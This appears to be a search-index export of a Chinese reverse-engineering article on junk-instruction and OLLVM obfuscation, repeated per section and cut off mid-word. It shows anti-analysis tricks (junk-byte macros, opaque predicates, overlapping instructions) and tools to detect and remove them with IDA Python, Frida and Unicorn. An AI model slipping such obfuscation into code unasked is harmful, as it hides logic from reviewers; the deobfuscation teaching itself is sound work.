混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#11-什么是花指令"},{"categories":null,"collections":null,"content":"1.2 花指令分类 1.2.1 可执行花指令 这类花指令会被执行，但不影响程序逻辑： ; ARM64 可执行花指令示例 nop ; 空操作 mov x0, x0 ; 自身赋值 add x1, x1, #0 ; 加0操作 eor x2, x2, #0 ; 异或0操作 and x3, x3, #-1 ; 与全1操作 orr x4, x4, #0 ; 或0操作 ; 更复杂的等价操作 push {x0} ; 压栈 pop {x0} ; 出栈（恢复原值） sub sp, sp, #16 ; 分配栈空间 add sp, sp, #16 ; 释放栈空间（抵消） 1.2.2 不可达花指令 这类花指令永远不会被执行，用于干扰反汇编： ; ARM64 不可达花指令示例 cmp x0, x0 ; 比较相同值 b.ne junk_code ; 永假条件跳转 ; ... 正常代码 ... b continue junk_code: .byte 0xFF, 0xFF, 0xFF, 0xFF ; 垃圾数据 .byte 0x00, 0x00, 0x00, 0x00 continue: ; ... 继续正常执行 ... 1.2.3 数据与代码混合 将数据插入代码段，干扰线性反汇编： ; x86 数据混合示例 jmp skip_data ; 跳过数据区 .byte 0xE8 ; 看起来像 call 指令 .byte 0x90, 0x90 ; 填充数据 skip_data: mov eax, ebx ; 正常代码 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#12-花指令分类"},{"categories":null,"collections":null,"content":"1.2 花指令分类 1.2.1 可执行花指令 这类花指令会被执行，但不影响程序逻辑： ; ARM64 可执行花指令示例 nop ; 空操作 mov x0, x0 ; 自身赋值 add x1, x1, #0 ; 加0操作 eor x2, x2, #0 ; 异或0操作 and x3, x3, #-1 ; 与全1操作 orr x4, x4, #0 ; 或0操作 ; 更复杂的等价操作 push {x0} ; 压栈 pop {x0} ; 出栈（恢复原值） sub sp, sp, #16 ; 分配栈空间 add sp, sp, #16 ; 释放栈空间（抵消） 1.2.2 不可达花指令 这类花指令永远不会被执行，用于干扰反汇编： ; ARM64 不可达花指令示例 cmp x0, x0 ; 比较相同值 b.ne junk_code ; 永假条件跳转 ; ... 正常代码 ... b continue junk_code: .byte 0xFF, 0xFF, 0xFF, 0xFF ; 垃圾数据 .byte 0x00, 0x00, 0x00, 0x00 continue: ; ... 继续正常执行 ... 1.2.3 数据与代码混合 将数据插入代码段，干扰线性反汇编： ; x86 数据混合示例 jmp skip_data ; 跳过数据区 .byte 0xE8 ; 看起来像 call 指令 .byte 0x90, 0x90 ; 填充数据 skip_data: mov eax, ebx ; 正常代码 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#121-可执行花指令"},{"categories":null,"collections":null,"content":"1.2 花指令分类 1.2.1 可执行花指令 这类花指令会被执行，但不影响程序逻辑： ; ARM64 可执行花指令示例 nop ; 空操作 mov x0, x0 ; 自身赋值 add x1, x1, #0 ; 加0操作 eor x2, x2, #0 ; 异或0操作 and x3, x3, #-1 ; 与全1操作 orr x4, x4, #0 ; 或0操作 ; 更复杂的等价操作 push {x0} ; 压栈 pop {x0} ; 出栈（恢复原值） sub sp, sp, #16 ; 分配栈空间 add sp, sp, #16 ; 释放栈空间（抵消） 1.2.2 不可达花指令 这类花指令永远不会被执行，用于干扰反汇编： ; ARM64 不可达花指令示例 cmp x0, x0 ; 比较相同值 b.ne junk_code ; 永假条件跳转 ; ... 正常代码 ... b continue junk_code: .byte 0xFF, 0xFF, 0xFF, 0xFF ; 垃圾数据 .byte 0x00, 0x00, 0x00, 0x00 continue: ; ... 继续正常执行 ... 1.2.3 数据与代码混合 将数据插入代码段，干扰线性反汇编： ; x86 数据混合示例 jmp skip_data ; 跳过数据区 .byte 0xE8 ; 看起来像 call 指令 .byte 0x90, 0x90 ; 填充数据 skip_data: mov eax, ebx ; 正常代码 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#122-不可达花指令"},{"categories":null,"collections":null,"content":"1.2 花指令分类 1.2.1 可执行花指令 这类花指令会被执行，但不影响程序逻辑： ; ARM64 可执行花指令示例 nop ; 空操作 mov x0, x0 ; 自身赋值 add x1, x1, #0 ; 加0操作 eor x2, x2, #0 ; 异或0操作 and x3, x3, #-1 ; 与全1操作 orr x4, x4, #0 ; 或0操作 ; 更复杂的等价操作 push {x0} ; 压栈 pop {x0} ; 出栈（恢复原值） sub sp, sp, #16 ; 分配栈空间 add sp, sp, #16 ; 释放栈空间（抵消） 1.2.2 不可达花指令 这类花指令永远不会被执行，用于干扰反汇编： ; ARM64 不可达花指令示例 cmp x0, x0 ; 比较相同值 b.ne junk_code ; 永假条件跳转 ; ... 正常代码 ... b continue junk_code: .byte 0xFF, 0xFF, 0xFF, 0xFF ; 垃圾数据 .byte 0x00, 0x00, 0x00, 0x00 continue: ; ... 继续正常执行 ... 1.2.3 数据与代码混合 将数据插入代码段，干扰线性反汇编： ; x86 数据混合示例 jmp skip_data ; 跳过数据区 .byte 0xE8 ; 看起来像 call 指令 .byte 0x90, 0x90 ; 填充数据 skip_data: mov eax, ebx ; 正常代码 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#123-数据与代码混合"},{"categories":null,"collections":null,"content":"1.3 花指令实现技术 1.3.1 永假跳转模式 // C++ 编译时花指令生成 #define JUNK_CODE_1() \\ __asm__ volatile ( \\ \"cmp x0, x0\\n\\t\" \\ \"b.ne 1f\\n\\t\" \\ \"b 2f\\n\\t\" \\ \"1:\\n\\t\" \\ \".byte 0xFF, 0xFF, 0xFF, 0xFF\\n\\t\" \\ \"2:\\n\\t\" \\ ) // 使用示例 void protected_function() { JUNK_CODE_1(); // 真实代码 int result = calculate_key(); JUNK_CODE_1(); return result; } 1.3.2 不透明谓词（Opaque Predicate） // 不透明谓词：看似条件分支，实际永远为真/假 int opaque_true() { int x = rand(); // (x * x) % 2 == 0 永远为真（平方数的奇偶性） return ((x * x) % 2 == 0); } int opaque_false() { int x = rand(); // (x * (x + 1)) % 2 != 0 永远为假 return ((x * (x + 1)) % 2 != 0); } void obfuscated_function() { if (opaque_true()) { // 真实代码路径 real_logic(); } else { // 垃圾代码，永远不会执行 garbage_code_1(); garbage_code_2(); } } 1.3.3 多字节指令欺骗 ; x86 多字节指令欺骗 jmp short skip + 1 ; 跳到下一条指令的中间 skip: .byte 0xE8 ; 看起来是 CALL 指令开始 mov eax, 1 ; 实际执行的指令 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#13-花指令实现技术"},{"categories":null,"collections":null,"content":"1.3 花指令实现技术 1.3.1 永假跳转模式 // C++ 编译时花指令生成 #define JUNK_CODE_1() \\ __asm__ volatile ( \\ \"cmp x0, x0\\n\\t\" \\ \"b.ne 1f\\n\\t\" \\ \"b 2f\\n\\t\" \\ \"1:\\n\\t\" \\ \".byte 0xFF, 0xFF, 0xFF, 0xFF\\n\\t\" \\ \"2:\\n\\t\" \\ ) // 使用示例 void protected_function() { JUNK_CODE_1(); // 真实代码 int result = calculate_key(); JUNK_CODE_1(); return result; } 1.3.2 不透明谓词（Opaque Predicate） // 不透明谓词：看似条件分支，实际永远为真/假 int opaque_true() { int x = rand(); // (x * x) % 2 == 0 永远为真（平方数的奇偶性） return ((x * x) % 2 == 0); } int opaque_false() { int x = rand(); // (x * (x + 1)) % 2 != 0 永远为假 return ((x * (x + 1)) % 2 != 0); } void obfuscated_function() { if (opaque_true()) { // 真实代码路径 real_logic(); } else { // 垃圾代码，永远不会执行 garbage_code_1(); garbage_code_2(); } } 1.3.3 多字节指令欺骗 ; x86 多字节指令欺骗 jmp short skip + 1 ; 跳到下一条指令的中间 skip: .byte 0xE8 ; 看起来是 CALL 指令开始 mov eax, 1 ; 实际执行的指令 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#131-永假跳转模式"},{"categories":null,"collections":null,"content":"1.3 花指令实现技术 1.3.1 永假跳转模式 // C++ 编译时花指令生成 #define JUNK_CODE_1() \\ __asm__ volatile ( \\ \"cmp x0, x0\\n\\t\" \\ \"b.ne 1f\\n\\t\" \\ \"b 2f\\n\\t\" \\ \"1:\\n\\t\" \\ \".byte 0xFF, 0xFF, 0xFF, 0xFF\\n\\t\" \\ \"2:\\n\\t\" \\ ) // 使用示例 void protected_function() { JUNK_CODE_1(); // 真实代码 int result = calculate_key(); JUNK_CODE_1(); return result; } 1.3.2 不透明谓词（Opaque Predicate） // 不透明谓词：看似条件分支，实际永远为真/假 int opaque_true() { int x = rand(); // (x * x) % 2 == 0 永远为真（平方数的奇偶性） return ((x * x) % 2 == 0); } int opaque_false() { int x = rand(); // (x * (x + 1)) % 2 != 0 永远为假 return ((x * (x + 1)) % 2 != 0); } void obfuscated_function() { if (opaque_true()) { // 真实代码路径 real_logic(); } else { // 垃圾代码，永远不会执行 garbage_code_1(); garbage_code_2(); } } 1.3.3 多字节指令欺骗 ; x86 多字节指令欺骗 jmp short skip + 1 ; 跳到下一条指令的中间 skip: .byte 0xE8 ; 看起来是 CALL 指令开始 mov eax, 1 ; 实际执行的指令 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#132-不透明谓词opaque-predicate"},{"categories":null,"collections":null,"content":"1.3 花指令实现技术 1.3.1 永假跳转模式 // C++ 编译时花指令生成 #define JUNK_CODE_1() \\ __asm__ volatile ( \\ \"cmp x0, x0\\n\\t\" \\ \"b.ne 1f\\n\\t\" \\ \"b 2f\\n\\t\" \\ \"1:\\n\\t\" \\ \".byte 0xFF, 0xFF, 0xFF, 0xFF\\n\\t\" \\ \"2:\\n\\t\" \\ ) // 使用示例 void protected_function() { JUNK_CODE_1(); // 真实代码 int result = calculate_key(); JUNK_CODE_1(); return result; } 1.3.2 不透明谓词（Opaque Predicate） // 不透明谓词：看似条件分支，实际永远为真/假 int opaque_true() { int x = rand(); // (x * x) % 2 == 0 永远为真（平方数的奇偶性） return ((x * x) % 2 == 0); } int opaque_false() { int x = rand(); // (x * (x + 1)) % 2 != 0 永远为假 return ((x * (x + 1)) % 2 != 0); } void obfuscated_function() { if (opaque_true()) { // 真实代码路径 real_logic(); } else { // 垃圾代码，永远不会执行 garbage_code_1(); garbage_code_2(); } } 1.3.3 多字节指令欺骗 ; x86 多字节指令欺骗 jmp short skip + 1 ; 跳到下一条指令的中间 skip: .byte 0xE8 ; 看起来是 CALL 指令开始 mov eax, 1 ; 实际执行的指令 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#133-多字节指令欺骗"},{"categories":null,"collections":null,"content":"1.4 花指令对反汇编的影响 线性扫描反汇编器（Linear Sweep）： 从代码段起始顺序解析 遇到花指令会产生错误解析 IDA 早期版本使用此方法 递归下降反汇编器（Recursive Descent）： 跟随控制流解析代码 对不可达花指令有更好的处理能力 IDA Pro、Ghidra 使用此方法 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#14-花指令对反汇编的影响"},{"categories":null,"collections":null,"content":"2. 花指令识别与去除 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#2-花指令识别与去除"},{"categories":null,"collections":null,"content":"2.1 静态识别方法 2.1.1 IDA Pro 脚本识别花指令 # IDA Python 脚本：识别可疑的花指令模式 import idautils import idc import idaapi class JunkCodeDetector: def __init__(self): self.junk_patterns = [] def detect_nop_sleds(self, func_ea): \"\"\"检测 NOP 滑板\"\"\" nop_count = 0 for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) if mnem == \"NOP\" or mnem == \"nop\": nop_count += 1 else: if nop_count \u003e 3: print(f\"[!] NOP sled detected at 0x{head-nop_count:x}, count: {nop_count}\") self.junk_patterns.append((head - nop_count, nop_count, \"NOP_SLED\")) nop_count = 0 return self.junk_patterns def detect_dead_code(self, func_ea): \"\"\"检测死代码（永远不会执行的代码）\"\"\" func = idaapi.get_func(func_ea) if not func: return [] # 获取函数的控制流图 flowchart = idaapi.FlowChart(func) reachable_blocks = set() # BFS 遍历可达基本块 queue = [flowchart[0].start_ea] while queue: block_ea = queue.pop(0) if block_ea in reachable_blocks: continue reachable_blocks.add(block_ea) for block in flowchart: if block.start_ea == block_ea: for succ in block.succs(): queue.append(succ.start_ea) break # 找出不可达的基本块 dead_blocks = [] for block in flowchart: if block.start_ea not in reachable_blocks: print(f\"[!] Dead code block at 0x{block.start_ea:x}\") dead_blocks.append(block.start_ea) return dead_blocks def detect_opaque_predicates(self, func_ea): \"\"\"检测不透明谓词\"\"\" suspicious_patterns = [] for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) # 检测 cmp reg, reg 后跟条件跳转 if mnem.lower() == \"cmp\": op1 = idc.print_operand(head, 0) op2 = idc.print_operand(head, 1) if op1 == op2: next_insn = idc.next_head(head) next_mnem = idc.print_insn_mnem(next_insn) if next_mnem.lower().startswith(\"j\") or next_mnem.lower().startswith(\"b\"): print(f\"[!] Opaque predicate at 0x{head:x}: {mnem} {op1}, {op2}\") suspicious_patterns.append((head, \"OPAQUE_PREDICATE\")) return suspicious_patterns def analyze_function_junk_code(func_ea): \"\"\"分析函数中的花指令\"\"\" detector = JunkCodeDetector() print(f\"[*] Analyzing function at 0x{func_ea:x}\") nop_sleds = detector.detect_nop_sleds(func_ea) dead_blocks = detector.detect_dead_code(func_ea) opaque_preds = detector.detect_opaque_predicates(func_ea) return { 'nop_sleds': nop_sleds, 'dead_blocks': dead_blocks, 'opaque_predicates': opaque_preds } # 使用示例 # results = analyze_function_junk_code(idc.here()) 2.1.2 基于模式匹配的检测 # 花指令模式签名库 ARM64_JUNK_PATTERNS = [ # (pattern_bytes, mask, description) (b'\\x1f\\x00\\x00\\xeb', b'\\xff\\xff\\xff\\xff', 'cmp x0, x0'), (b'\\x00\\x00\\x00\\x14', b'\\x00\\x00\\x00\\x1f', 'unconditional branch to next'), (b'\\xe0\\x03\\x00\\xaa', b'\\xff\\xff\\xff\\xff', 'mov x0, x0'), ] X86_JUNK_PATTERNS = [ (b'\\x90', b'\\xff', 'nop'), (b'\\x89\\xc0', b'\\xff\\xff', 'mov eax, eax'), (b'\\x31\\xc0\\x31\\xc0', b'\\xff\\xff\\xff\\xff', 'xor eax, eax; xor eax, eax'), (b'\\xeb\\x00', b'\\xff\\xff', 'jmp $+2 (next instruction)'), ] def scan_junk_patterns(binary_data, patterns, base_addr=0): \"\"\"扫描二进制数据中的花指令模式\"\"\" findings = [] for offset in range(len(binary_data)): for pattern, mask, desc in patterns: if offset + len(pattern) \u003e len(binary_data): continue match = True for i in range(len(pattern)): if (binary_data[offset + i] \u0026 mask[i]) != (pattern[i] \u0026 mask[i]): match = False break if match: findings.append({ 'address': base_addr + offset, 'pattern': pattern.hex(), 'description': desc }) return findings ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#21-静态识别方法"},{"categories":null,"collections":null,"content":"2.1 静态识别方法 2.1.1 IDA Pro 脚本识别花指令 # IDA Python 脚本：识别可疑的花指令模式 import idautils import idc import idaapi class JunkCodeDetector: def __init__(self): self.junk_patterns = [] def detect_nop_sleds(self, func_ea): \"\"\"检测 NOP 滑板\"\"\" nop_count = 0 for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) if mnem == \"NOP\" or mnem == \"nop\": nop_count += 1 else: if nop_count \u003e 3: print(f\"[!] NOP sled detected at 0x{head-nop_count:x}, count: {nop_count}\") self.junk_patterns.append((head - nop_count, nop_count, \"NOP_SLED\")) nop_count = 0 return self.junk_patterns def detect_dead_code(self, func_ea): \"\"\"检测死代码（永远不会执行的代码）\"\"\" func = idaapi.get_func(func_ea) if not func: return [] # 获取函数的控制流图 flowchart = idaapi.FlowChart(func) reachable_blocks = set() # BFS 遍历可达基本块 queue = [flowchart[0].start_ea] while queue: block_ea = queue.pop(0) if block_ea in reachable_blocks: continue reachable_blocks.add(block_ea) for block in flowchart: if block.start_ea == block_ea: for succ in block.succs(): queue.append(succ.start_ea) break # 找出不可达的基本块 dead_blocks = [] for block in flowchart: if block.start_ea not in reachable_blocks: print(f\"[!] Dead code block at 0x{block.start_ea:x}\") dead_blocks.append(block.start_ea) return dead_blocks def detect_opaque_predicates(self, func_ea): \"\"\"检测不透明谓词\"\"\" suspicious_patterns = [] for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) # 检测 cmp reg, reg 后跟条件跳转 if mnem.lower() == \"cmp\": op1 = idc.print_operand(head, 0) op2 = idc.print_operand(head, 1) if op1 == op2: next_insn = idc.next_head(head) next_mnem = idc.print_insn_mnem(next_insn) if next_mnem.lower().startswith(\"j\") or next_mnem.lower().startswith(\"b\"): print(f\"[!] Opaque predicate at 0x{head:x}: {mnem} {op1}, {op2}\") suspicious_patterns.append((head, \"OPAQUE_PREDICATE\")) return suspicious_patterns def analyze_function_junk_code(func_ea): \"\"\"分析函数中的花指令\"\"\" detector = JunkCodeDetector() print(f\"[*] Analyzing function at 0x{func_ea:x}\") nop_sleds = detector.detect_nop_sleds(func_ea) dead_blocks = detector.detect_dead_code(func_ea) opaque_preds = detector.detect_opaque_predicates(func_ea) return { 'nop_sleds': nop_sleds, 'dead_blocks': dead_blocks, 'opaque_predicates': opaque_preds } # 使用示例 # results = analyze_function_junk_code(idc.here()) 2.1.2 基于模式匹配的检测 # 花指令模式签名库 ARM64_JUNK_PATTERNS = [ # (pattern_bytes, mask, description) (b'\\x1f\\x00\\x00\\xeb', b'\\xff\\xff\\xff\\xff', 'cmp x0, x0'), (b'\\x00\\x00\\x00\\x14', b'\\x00\\x00\\x00\\x1f', 'unconditional branch to next'), (b'\\xe0\\x03\\x00\\xaa', b'\\xff\\xff\\xff\\xff', 'mov x0, x0'), ] X86_JUNK_PATTERNS = [ (b'\\x90', b'\\xff', 'nop'), (b'\\x89\\xc0', b'\\xff\\xff', 'mov eax, eax'), (b'\\x31\\xc0\\x31\\xc0', b'\\xff\\xff\\xff\\xff', 'xor eax, eax; xor eax, eax'), (b'\\xeb\\x00', b'\\xff\\xff', 'jmp $+2 (next instruction)'), ] def scan_junk_patterns(binary_data, patterns, base_addr=0): \"\"\"扫描二进制数据中的花指令模式\"\"\" findings = [] for offset in range(len(binary_data)): for pattern, mask, desc in patterns: if offset + len(pattern) \u003e len(binary_data): continue match = True for i in range(len(pattern)): if (binary_data[offset + i] \u0026 mask[i]) != (pattern[i] \u0026 mask[i]): match = False break if match: findings.append({ 'address': base_addr + offset, 'pattern': pattern.hex(), 'description': desc }) return findings ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#211-ida-pro-脚本识别花指令"},{"categories":null,"collections":null,"content":"2.1 静态识别方法 2.1.1 IDA Pro 脚本识别花指令 # IDA Python 脚本：识别可疑的花指令模式 import idautils import idc import idaapi class JunkCodeDetector: def __init__(self): self.junk_patterns = [] def detect_nop_sleds(self, func_ea): \"\"\"检测 NOP 滑板\"\"\" nop_count = 0 for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) if mnem == \"NOP\" or mnem == \"nop\": nop_count += 1 else: if nop_count \u003e 3: print(f\"[!] NOP sled detected at 0x{head-nop_count:x}, count: {nop_count}\") self.junk_patterns.append((head - nop_count, nop_count, \"NOP_SLED\")) nop_count = 0 return self.junk_patterns def detect_dead_code(self, func_ea): \"\"\"检测死代码（永远不会执行的代码）\"\"\" func = idaapi.get_func(func_ea) if not func: return [] # 获取函数的控制流图 flowchart = idaapi.FlowChart(func) reachable_blocks = set() # BFS 遍历可达基本块 queue = [flowchart[0].start_ea] while queue: block_ea = queue.pop(0) if block_ea in reachable_blocks: continue reachable_blocks.add(block_ea) for block in flowchart: if block.start_ea == block_ea: for succ in block.succs(): queue.append(succ.start_ea) break # 找出不可达的基本块 dead_blocks = [] for block in flowchart: if block.start_ea not in reachable_blocks: print(f\"[!] Dead code block at 0x{block.start_ea:x}\") dead_blocks.append(block.start_ea) return dead_blocks def detect_opaque_predicates(self, func_ea): \"\"\"检测不透明谓词\"\"\" suspicious_patterns = [] for head in idautils.FuncItems(func_ea): mnem = idc.print_insn_mnem(head) # 检测 cmp reg, reg 后跟条件跳转 if mnem.lower() == \"cmp\": op1 = idc.print_operand(head, 0) op2 = idc.print_operand(head, 1) if op1 == op2: next_insn = idc.next_head(head) next_mnem = idc.print_insn_mnem(next_insn) if next_mnem.lower().startswith(\"j\") or next_mnem.lower().startswith(\"b\"): print(f\"[!] Opaque predicate at 0x{head:x}: {mnem} {op1}, {op2}\") suspicious_patterns.append((head, \"OPAQUE_PREDICATE\")) return suspicious_patterns def analyze_function_junk_code(func_ea): \"\"\"分析函数中的花指令\"\"\" detector = JunkCodeDetector() print(f\"[*] Analyzing function at 0x{func_ea:x}\") nop_sleds = detector.detect_nop_sleds(func_ea) dead_blocks = detector.detect_dead_code(func_ea) opaque_preds = detector.detect_opaque_predicates(func_ea) return { 'nop_sleds': nop_sleds, 'dead_blocks': dead_blocks, 'opaque_predicates': opaque_preds } # 使用示例 # results = analyze_function_junk_code(idc.here()) 2.1.2 基于模式匹配的检测 # 花指令模式签名库 ARM64_JUNK_PATTERNS = [ # (pattern_bytes, mask, description) (b'\\x1f\\x00\\x00\\xeb', b'\\xff\\xff\\xff\\xff', 'cmp x0, x0'), (b'\\x00\\x00\\x00\\x14', b'\\x00\\x00\\x00\\x1f', 'unconditional branch to next'), (b'\\xe0\\x03\\x00\\xaa', b'\\xff\\xff\\xff\\xff', 'mov x0, x0'), ] X86_JUNK_PATTERNS = [ (b'\\x90', b'\\xff', 'nop'), (b'\\x89\\xc0', b'\\xff\\xff', 'mov eax, eax'), (b'\\x31\\xc0\\x31\\xc0', b'\\xff\\xff\\xff\\xff', 'xor eax, eax; xor eax, eax'), (b'\\xeb\\x00', b'\\xff\\xff', 'jmp $+2 (next instruction)'), ] def scan_junk_patterns(binary_data, patterns, base_addr=0): \"\"\"扫描二进制数据中的花指令模式\"\"\" findings = [] for offset in range(len(binary_data)): for pattern, mask, desc in patterns: if offset + len(pattern) \u003e len(binary_data): continue match = True for i in range(len(pattern)): if (binary_data[offset + i] \u0026 mask[i]) != (pattern[i] \u0026 mask[i]): match = False break if match: findings.append({ 'address': base_addr + offset, 'pattern': pattern.hex(), 'description': desc }) return findings ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#212-基于模式匹配的检测"},{"categories":null,"collections":null,"content":"2.2 动态去花方法 2.2.1 Frida 动态跟踪执行路径 // Frida 脚本：跟踪实际执行的指令，区分花指令 function trace_real_execution(module_name, func_offset, trace_count) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found: \" + module_name); return; } var func_addr = module.base.add(func_offset); var executed_addresses = new Set(); var instruction_count = 0; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 检查是否在目标模块范围内 if (addr.compare(module.base) \u003e= 0 \u0026\u0026 addr.compare(module.base.add(module.size)) \u003c 0) { iterator.putCallout(function(context) { var pc = context.pc; if (!executed_addresses.has(pc.toString())) { executed_addresses.add(pc.toString()); var insn = Instruction.parse(pc); console.log(\"[EXEC] \" + pc + \": \" + insn.mnemonic + \" \" + insn.opStr); instruction_count++; if (instruction_count \u003e= trace_count) { Stalker.unfollow(); } } }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数 var target_func = new NativeFunction(func_addr, 'void', []); target_func(); Stalker.unfollow(); Stalker.flush(); console.log(\"\\n[*] Total unique instructions executed: \" + executed_addresses.size); return Array.from(executed_addresses); } // 对比静态反汇编结果与动态执行结果 function identify_junk_by_execution(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); // 获取静态反汇编的所有地址 var static_addresses = []; var current = func_addr; for (var i = 0; i \u003c 100; i++) { // 假设函数不超过100条指令 try { var insn = Instruction.parse(current); static_addresses.push(current.toString()); current = current.add(insn.size); } catch (e) { break; } } // 获取动态执行的地址 var executed = trace_real_execution(module_name, func_offset, 1000); // 找出从未执行的指令（潜在花指令） var junk_candidates = static_addresses.filter(addr =\u003e !executed.includes(addr)); console.log(\"\\n[*] Potential junk code (never executed):\"); junk_candidates.forEach(function(addr) { var insn = Instruction.parse(ptr(addr)); console.log(\" \" + addr + \": \" + insn.mnemonic + \" \" + insn.opStr); }); return junk_candidates; } 2.2.2 Unicorn 模拟执行去花 from unicorn import * from unicorn.arm64_const import * from capstone import * import struct class JunkCodeRemover: def __init__(self, binary_data, base_addr=0x10000): self.binary = binary_data self.base_addr = base_addr self.executed_addresses = set() self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) def hook_code(self, uc, address, size, user_data): \"\"\"记录执行的每条指令\"\"\" self.executed_addresses.add(address) # 打印执行的指令 code = uc.mem_read(address, size) for insn in self.md.disasm(bytes(code), address): print(f\"[EXEC] 0x{insn.address:x}: {insn.mnemonic} {insn.op_str}\") def emulate_function(self, func_offset, max_instructions=1000): \"\"\"模拟执行函数，收集执行路径\"\"\" try: # 初始化 Unicorn 引擎 (ARM64) mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 映射内存 mu.mem_map(self.base_addr, 2 * 1024 * 1024) # 2MB mu.mem_write(self.base_addr, self.binary) # 设置栈 stack_addr = self.base_addr + 0x100000 mu.reg_write(UC_ARM64_REG_SP, stack_addr) # 设置代码 Hook mu.hook_add(UC_HOOK_CODE, self.hook_code) # 开始模拟 func_addr = self.base_addr + func_offset mu.emu_start(func_addr, func_addr + 0x10000, count=max_instructions) except UcError as e: print(f\"Emulation error: {e}\") return self.executed_addresses def identify_junk_code(self, func_offset, func_size): \"\"\"识别函数中的花指令\"\"\" # 静态反汇编获取所有指令地址 static_addresses = set() func_binary = self.binary[func_offset:func_offset + func_size] for insn in self.md.disasm(func_binary, self.base_addr + func_offset): static_addresses.add(insn.address) # 模拟执行获取实际执行的指令 self.emulate_function(func_offset) # 差集即为花指令 junk_addresses = static_addresses - self.executed_addresses print(f\"\\n[*] Static instructions: {len(static_addresses)}\") print(f\"[*] Executed instructions: {len(self.executed_addresses)}\") print(f\"[*] Junk instructions: {len(junk_addresses)}\") # 输出花指令详情 print(\"\\n[*] Junk code details:\") for addr in sorted(junk_addresses): off","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:2:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 